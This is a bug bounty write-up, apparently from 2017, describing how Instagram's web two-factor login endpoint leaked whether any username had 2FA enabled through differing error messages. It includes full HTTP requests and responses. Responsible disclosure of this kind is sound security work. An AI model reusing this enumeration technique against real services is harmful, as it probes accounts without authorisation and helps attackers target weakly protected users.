[Facebook Bug Bounty] How I was able to enumerate Instagram Accounts who had enabled 2FA

Instagram only used to have text messaging code based 2FA unlike supporting a better 2FA based authentication system such as Authy. It used to send a six digit code to the users mobile number after logging in with the email and password to authorize the login attempt.

After enabing 2FA for my Instagram account using Instagram’s Android application I logged out of Instagram account on Android and opened http://www.instagram.com/ via web. I tried to login to my Instagram account via web. I realized that after I entered the username and password for my account I got redirected to the 2FA page to authorize and verify the login attempt (as we had already enabled it via Android app) and it got redirected to the 2FA page to enter the six digit code which got sent to our mobile number.

The HTTP POST request was as follows

Example
 
 POST /accounts/login/ajax/two_factor/ HTTP/1.1
 Host: www.instagram.com
 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
 Accept: */*
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate, br
 X-CSRFToken: xxxxxx
 X-Instagram-AJAX: 1
 Content-Type: application/x-www-form-urlencoded
 X-Requested-With: XMLHttpRequest
 Referer: https://www.instagram.com/
 Content-Length: 63
 Cookie: mid=xxxxxxxxx-xxx; csrftoken=xxxxxx; ig_vw=1301; ig_pr=1
 DNT: 1
 Connection: close
 
 username=[our-username]&verificationCode=xxxxxx&identifier=xxxxxx

I realized that if we changed our username to anything else (here it refers to any other valid Instagram username in use) We could figure out if the following Instagram account has enabled 2FA for its additional protection by comparing the body of the HTTP responses. We did not necessarily had to enter the valid six digit code which got sent to our mobile number for it to work, we could just have used any random six digits.

For example

HTTP REQUEST (When 2FA was enabled for a “n” account)

HTTP POST REQUEST
 
 POST /accounts/login/ajax/two_factor/ HTTP/1.1
 Host: www.instagram.com
 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
 Accept: */*
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate, br
 X-CSRFToken: FkTgrU3bU1qDC88amFHo1eKLwvd1S0fW
 X-Instagram-AJAX: 1
 Content-Type: application/x-www-form-urlencoded
 X-Requested-With: XMLHttpRequest
 Referer: https://www.instagram.com/
 Content-Length: 63
 Cookie: mid=WNTt4wAEAAEzuWakvlOS_-80lPEA; csrftoken=FkTgrU3bU1qDC88amFHo1eKLwvd1S0fW; ig_vw=1301; ig_pr=1
 DNT: 1
 Connection: close
 
 username=[“n” username]&verificationCode=[random 6 digits]&identifier=xxxxx

HTTP RESPONSE

HTTP/1.1 400 Bad Request
 Vary: Cookie, Accept-Language
 Expires: Sat, 01 Jan 2000 00:00:00 GMT
 Cache-Control: private, no-cache, no-store, must-revalidate
 Strict-Transport-Security: max-age=86400
 Pragma: no-cache
 Content-Type: application/json
 Content-Language: en
 Date: Fri, 24 Mar 2017 10:38:54 GMT
 Set-Cookie: csrftoken=FkTgrU3bU1qDC88amFHo1eKLwvd1S0fW; expires=Fri, 23-Mar-2018 10:38:54 GMT; Max-Age=31449600; Path=/; Secure
 Connection: close
 Content-Length: 90
 
 {"message": "Please check the security code we sent you and try again.", "status": "fail"}
 
Notice the HTTP response body, it shows

{"message": "Please check the security code we sent you and try again.", "status": "fail"}

This indicated to us that the current username account does use 2FA for its additional protection by enabling it. It was valid for all Instagram accounts and this was the HTTP response each type for a valid Instagram account username who had 2FA enabled

Now the HTTP response (When 2FA was disabled for “n” account”)

HTTP RESPONSE (When 2FA Disabled for “n” account)
 
 HTTP/1.1 400 Bad Request
 Content-Type: application/json
 Cache-Control: private, no-cache, no-store, must-revalidate
 Expires: Sat, 01 Jan 2000 00:00:00 GMT
 Pragma: no-cache
 Content-Language: en
 Vary: Cookie, Accept-Language
 Strict-Transport-Security: max-age=86400
 Date: Fri, 24 Mar 2017 10:40:59 GMT
 Set-Cookie: csrftoken=FkTgrU3bU1qDC88amFHo1eKLwvd1S0fW; expires=Fri, 23-Mar-2018 10:40:59 GMT; Max-Age=31449600; Path=/; Secure
 Connection: close
 Content-Length: 78
 
 {"message": "Sorry, there was a problem with your request.", "status": "fail"}

Notice the change in the HTTP response body. Here it shows

“ {"message": "Sorry, there was a problem with your request.", "status": "fail"}”

This indicated to us that the current account hasn’t enabled 2FA.

So by comparing the HTTP response codes for each ‘username’ we could figure out if the said account is using 2FA or not.

I was awarded a bounty by Facebook for filing this bug report.